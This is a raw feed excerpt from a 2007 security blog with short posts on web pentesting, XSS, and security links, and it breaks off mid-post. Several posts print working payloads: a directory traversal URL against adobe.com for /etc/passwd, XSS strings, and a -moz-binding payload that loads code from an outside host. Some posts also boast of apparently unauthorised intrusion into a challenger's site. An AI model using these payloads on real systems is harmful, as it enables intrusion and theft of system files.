Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7369733849052789960?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7369733849052789960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7369733849052789960' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7369733849052789960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7369733849052789960'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/try-this-at-your-own-risk.html' title='Try this at your own risk, COKE Machine hacked!!'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-500784603953129207</id><published>2007-10-07T20:23:00.000+08:00</published><updated>2007-10-07T20:28:38.955+08:00</updated><title type='text'>Just another XSS</title><content type='html'>Well, i am getting tired of your site "big organization". PoC shown with screenshots of your site being XSS numerous times. Just patch up quick and you will be alright. Hire me or get someone to do the job. What ever you decide, wish you good luck and all the best. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RwjQ2pewLdI/AAAAAAAAAdA/awQSPUwtG6w/s1600-h/JAXss.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RwjQ2pewLdI/AAAAAAAAAdA/awQSPUwtG6w/s400/JAXss.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5118570613772922322" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-500784603953129207?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/500784603953129207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=500784603953129207' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/500784603953129207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/500784603953129207'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/just-another-xss.html' title='Just another XSS'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/RwjQ2pewLdI/AAAAAAAAAdA/awQSPUwtG6w/s72-c/JAXss.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4868128569039581100</id><published>2007-10-06T08:22:00.000+08:00</published><updated>2007-10-06T11:45:42.637+08:00</updated><title type='text'>Preventation is better than Cure</title><content type='html'>With over 6 years of experience in penetration tests of all sorts of systems from networks to web applications to databases to many others more, I can say that i have successfully achieve my goals as "hacker" or a white hat. As usual, i am constantly keeping myself abreast of the lastest exploits and hacking methodology. I am not really a true researcher, but however a guy who loves to read all sorts hacking books or articles. &lt;br /&gt;&lt;br /&gt;Well, with the recent work i am doing on web applications, i can say that most web applications are truly not secure and hackable, except for a few out there. It all boils down to the developers and the customers. Those customers have no idea of how secure programming is so important. Once they are hacked, their reputation is gone and data is lost. From what i see, customers are always eager to launch their application online maybe because of certain time frame they have to meet or maybe because they are eager to let the consumers know more about their services and products, but they did not think about security on their applications as a whole. Well, i would advise them to think twice and think about the possibility of being hacked hard time. Below are a few guidelines that i got from Jeremiah's whitepaper that after reading it, i feel that it is important to embrace it, rather than treating it just like another whitepaper.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Secure Code&lt;/strong&gt;: Application developers must consider security&lt;br /&gt;from the beginning. Involve the security staff early in the&lt;br /&gt;process.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;QA Development&lt;/strong&gt;: Experienced staff must perform periodic&lt;br /&gt;security as well as usability reviews.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Stay up-to-date on patches and configured securely.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Continuous assessments&lt;/strong&gt;: Covering both technical and logical&lt;br /&gt;issues on the production web site as its being changed.&lt;br /&gt;&lt;br /&gt;Also, for those who are paranoid about your web applications and have no budgets to spent, you guys should install an Web Application Firewall like ModSecurity to shield off most of the attacks and moreover, it is customizable where you can add your own ruleset. There are also a few open source WAF like PHP-IDS for XSS, URLSCAN for IIS and some others. Commercial ones are available too. It all depends on how much you can spend and what do you really need.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4868128569039581100?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4868128569039581100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4868128569039581100' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4868128569039581100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4868128569039581100'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/preventation-is-better-than-cure.html' title='Preventation is better than Cure'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6091172967553655805</id><published>2007-10-05T20:27:00.000+08:00</published><updated>2007-10-05T20:37:00.946+08:00</updated><title type='text'>Another hole????</title><content type='html'>Hey "big organization", need no explaination. You have been owned again. Well i am smart not to let you see the actual url string, else you will secure yourself? Still call me a script kiddie?? Think harder. Challenge me?? Why not do something to your site rather than challenging people here and there? Need to know the actual payload and url string? Call me. You are lucky i didn't use xss to portscan your internal network or cause a defacement and make you look like a fool. Respect others and respect yourself.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_Zx8XWzC_KPQ/RwYv1ZewLcI/AAAAAAAAAc4/4vcJHRSV7g4/s1600-h/fucked.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/RwYv1ZewLcI/AAAAAAAAAc4/4vcJHRSV7g4/s400/fucked.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5117830620972592578" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6091172967553655805?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6091172967553655805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6091172967553655805' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6091172967553655805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6091172967553655805'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/another-hole.html' title='Another hole????'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_Zx8XWzC_KPQ/RwYv1ZewLcI/AAAAAAAAAc4/4vcJHRSV7g4/s72-c/fucked.JPG' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2982220292542798732</id><published>2007-10-04T15:41:00.001+08:00</published><updated>2007-10-04T15:50:16.399+08:00</updated><title type='text'>You are OwNED!!!</title><content type='html'>Hey "big organization", I don't think i need to prove too much. Check out your logs or something. Check out whatever you have. I just spend roughly around 5 minutes on your site and i got what i want. Well, i don't think you worth my precious time doing good for your site. This is just a simple test. I can do more damaging stuff, but well I don't see the point of doing more damage. I don't have to prove no more. Take this shit from me and do your part. Peace.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RwSbIZewLbI/AAAAAAAAAcw/j_hqE2vFEwQ/s1600-h/owned.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RwSbIZewLbI/AAAAAAAAAcw/j_hqE2vFEwQ/s400/owned.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5117385645180857778" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2982220292542798732?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2982220292542798732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2982220292542798732' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2982220292542798732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2982220292542798732'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/you-are-owned.html' title='You are OwNED!!!'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_Zx8XWzC_KPQ/RwSbIZewLbI/AAAAAAAAAcw/j_hqE2vFEwQ/s72-c/owned.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7756176928239157605</id><published>2007-10-03T19:18:00.000+08:00</published><updated>2007-10-03T19:29:57.602+08:00</updated><title type='text'>Challenge me on Web Application Security???</title><content type='html'>One day after the application penetration test, i was contacted by an huge organization who apparently view/read my blog. Basically they issue a challenge to test on my knowledge and skills on web application security assessment. Well, i don't really care or bother how huge you organization is, i accept your challenge and i will show you that your public facing website will be used as a zombie for unidentified attacks. Don't blame me for that. You issue a challenge and i responded. I don't have anything to prove, except that i would love to see how good is your web security. &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7756176928239157605?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7756176928239157605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7756176928239157605' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7756176928239157605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7756176928239157605'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/challenge-me-on-web-application.html' title='Challenge me on Web Application Security???'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7164348840388337390</id><published>2007-10-02T22:16:00.000+08:00</published><updated>2007-10-02T22:34:57.661+08:00</updated><title type='text'>Sessionn ID Manipulation?????</title><content type='html'>So today is the last day for Phase 1 for my application penetest. Well, its always funny because its always during the last day that i will find something. In my previous posts, i was saying that the application is very secure. However, i found some session IDs manipulation that allows an attacker to impersonate someone. Well although its not high risk, but think of this situation. Lets say you and your friend is at a school compound or somewhere with network access and suddenly your friend is checking his account. With the mindset of a hacker, you know that by manipulating the session ID will allow you to gain access to his account, while he says that he wants to go to the toilet and forgets to logout, you quickly grab his session id and then change his password. From there on, you can monitor his account's transaction and status and moreover you can transfer money to your own account. I mean there is too many possibility. This is just one of the scenarios. You can let your imagination run wild and can come up with more evil stuff. However i just want to point out that since that application is already so secure, why not take another step to tighten this hole? Agree?????&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7164348840388337390?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7164348840388337390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7164348840388337390' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7164348840388337390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7164348840388337390'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/sessionn-id-manipulation.html' title='Sessionn ID Manipulation?????'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1019403499779638051</id><published>2007-10-01T15:57:00.000+08:00</published><updated>2007-10-01T16:04:36.560+08:00</updated><title type='text'>Owning Axis IP Cameras</title><content type='html'>Over the weekend, i had the time to review a whitepaper written by both Adrian Pastor and Amir Azam. In that article, they displayed certain XSS techniques that allowed an attacker to own the IP cameras and monitor it. Well, i would say that this is not too bad of an article as the PoC included. It is still the same old XSS that is doing the trick and CSRF that allows creation of admin accounts. The firmware for Axis is just crap. They should brush up on their security to avoid more security issues. For those who are interested, do check it out at&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.gnucitizen.org/blog/owning-big-brother-hollywood-style-exploits-included"&gt;http://www.gnucitizen.org/blog/owning-big-brother-hollywood-style-exploits-included&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1019403499779638051?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1019403499779638051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1019403499779638051' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1019403499779638051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1019403499779638051'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/owning-axis-ip-cameras.html' title='Owning Axis IP Cameras'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1180997368774030958</id><published>2007-10-01T13:18:00.001+08:00</published><updated>2007-10-01T13:38:48.466+08:00</updated><title type='text'>2 Factor Authentication Last Update</title><content type='html'>I think i am more or less done with my scope of work. There is simply no chance in hell that i can break that application. It like no matter what i entered, i always get a service not available or please try again later. Verified all the injection points and the stuffs that i can inject. Still, nothing can be done. The application is so sensitive and secure that it validates all input characters and escape all output characters. Lastly, every error message that is output is all generic error message with no other information. The only one last thing i am trying now is XSS on a 404 error page and see how it reacts. Still, this is what i got&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RwCH2pewLaI/AAAAAAAAAco/-LHMPXsNkLQ/s1600-h/404.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RwCH2pewLaI/AAAAAAAAAco/-LHMPXsNkLQ/s400/404.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5116238549610409378" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And the generated source i got after the XSS:&lt;br /&gt;&lt;br /&gt;[404 Not Found&lt;br /&gt;Not Found&lt;br /&gt;The requested URL /x/--&amp;gt;&amp;lt;script&amp;gt;alert("XSS")&amp;lt;/script&amp;gt;&amp;lt;!--&amp;amp;node=465600 was not found on this server.]&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1180997368774030958?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1180997368774030958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1180997368774030958' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1180997368774030958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1180997368774030958'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/2-factor-authentication-last-update.html' title='2 Factor Authentication Last Update'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/RwCH2pewLaI/AAAAAAAAAco/-LHMPXsNkLQ/s72-c/404.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2040571819403986663</id><published>2007-09-30T22:31:00.000+08:00</published><updated>2007-09-30T22:42:59.977+08:00</updated><title type='text'>Have you download your scancode?</title><content type='html'>I was reading on Shreeraj's article about source code review and it was overall a basic yet simple article on source code reviewing. Basically in the article, he teaches the audience from dependency determination to mitigation and countermeasures of a web application. On top of it, he included a tool where he coded himself called "scancode" which is used to scan source codes for potential entry point for XSS and SQLi. This is a must read for those who wants to know more about source code reviewing process and methoddology. Download scancode at page 3 of the article, right at the bottom.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oreillynet.com/pub/a/sysadmin/2006/11/02/webapp_security_scans.html"&gt;http://www.oreillynet.com/pub/a/sysadmin/2006/11/02/webapp_security_scans.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These days, i am so involved with application security and neglected on the networking area. Well, i am trying to shift myself slowly away from the technical side of things and wish to involve more in business and development stuff. However, still i will keep myself abreast of the latest stuff that is going around in the security world. &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2040571819403986663?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2040571819403986663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2040571819403986663' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2040571819403986663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2040571819403986663'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/have-you-download-your-scancode.html' title='Have you download your scancode?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2271670493126128209</id><published>2007-09-30T12:23:00.001+08:00</published><updated>2007-09-30T12:56:30.697+08:00</updated><title type='text'>Adobe Directory Traversal???????</title><content type='html'>The other night Christ1an showed me a link of Adobe.com with directory traversal. It was an old exploit, however it works on Adobe. This showed how Adobe is not taking application security seriously. Well, i managed to saw the entire /etc/passwd file and DAMN!! i did not take a screen shot of it. I was too careless and excited not to take a screenshot. The following day, the issue was resolved with reports being made to Adobe. Well check out the exploit here that was used against Adobe:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=../../../../../../../../../etc/passwd"&gt;http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=../../../../../../../../../etc/passwd&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Add a null byte character at the end of passwd. Please note that the exploit will not work anymore. However, this is the actual string i used few nights ago.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2271670493126128209?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2271670493126128209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2271670493126128209' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2271670493126128209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2271670493126128209'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/adobe-directory-traversal.html' title='Adobe Directory Traversal???????'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1251306234525126832</id><published>2007-09-30T11:46:00.000+08:00</published><updated>2007-09-30T11:54:06.876+08:00</updated><title type='text'>HashMaster v0.2</title><content type='html'>Damn, Rsnake just released a small yet useful program known as the hashmaster. I was auditing a customer last weekend, and the hashing was rather obfuscated and long. I am not sure if that was encryption or hashing, however i am going to try it on the customer this weekend. The program is very simple to use. Just enter the cleartext password and the hashing string into the form, and the program will fetch the hashing algorithm used. This is rather useful. Because once you know the hashing algorithm, you can then use cracking software to crack for the actual passwords. Well, good work Rsnake, you actually made my job easier!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ha.ckers.org/hashmaster"&gt;http://ha.ckers.org/hashmaster&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1251306234525126832?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1251306234525126832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1251306234525126832' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1251306234525126832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1251306234525126832'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/hashmaster-v02.html' title='HashMaster v0.2'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2373746648972933679</id><published>2007-09-28T19:52:00.000+08:00</published><updated>2007-09-28T20:00:15.836+08:00</updated><title type='text'>Can Your Machine Be Hacked?</title><content type='html'>Last night, i received an email from Rich Mclver and he gave me a link to publish. Basically, in his post, he provide users with ideas of how to secure holes in your PC. There are 12 tests and all of which gave an rough idea of how to secure your machine. Well, i would say it is a good start for those who wants to start learning about security overall. Check it out:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.virtualhosting.com/blog/2007/can-your-machine-be-hacked-test-yourself-with-these-12-resources"&gt;http://www.virtualhosting.com/blog/2007/can-your-machine-be-hacked-test-yourself-with-these-12-resources/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2373746648972933679?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2373746648972933679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2373746648972933679' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2373746648972933679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2373746648972933679'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/can-your-machine-be-hacked.html' title='Can Your Machine Be Hacked?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7008366621600188471</id><published>2007-09-27T22:46:00.000+08:00</published><updated>2007-09-27T23:04:35.357+08:00</updated><title type='text'>Blueinfy.com</title><content type='html'>Want to know more about Web 2.0 hacking? &lt;br /&gt;Want to have free Web 2.0 auditing tools and articles?&lt;br /&gt;Want to know more about web security and hacking?&lt;br /&gt;&lt;br /&gt;You will have to check out &lt;a href="http://www.blueinfy.com"&gt;Blueinfy.com&lt;/a&gt;, it is definitely a site worth visiting. With great in depth articles to simple yet easily understandable presentation slides that will definitely make you hungry for more. The founder is none other than Shreeraj.Shah, an ex employee of Foundstone USA. Google him and you will know how powerful is he:)&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7008366621600188471?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7008366621600188471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7008366621600188471' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7008366621600188471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7008366621600188471'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/09/blueinfycom.html' title='Blueinfy.com'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6499010794721199509</id><published>2007-09-27T16:31:00.000+08:00</published><updated>2007-09-27T16:39:04.111+08:00</updated><title type='text'>XSS on a vendors website</title><content type='html'>I am still testing on the application for flaws. However, it is so secure that i can't do a single thing. In the end, i end up testing a vendors site for XSS. The vendor did a good job of escaping &lt; and &gt; characters and it gave me &amp;lt;SCRIPT&amp;gt;alert(2)&amp;lt;/SCRIPT&amp;gt; when i view the source code. I was dejected as i knew there is something more i can do. A few minutes later, .mario was online and i told him about my problem. Immediatedly, he came up with a trick that allows XSS to happen. So in the end, i entered " style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)" a=" into the one of the form fields and when i view the source code, it was totally injected! This was what it displayed on the source code&lt;br /&gt;&lt;br /&gt;[input name="TxnEnd_Param" value="" 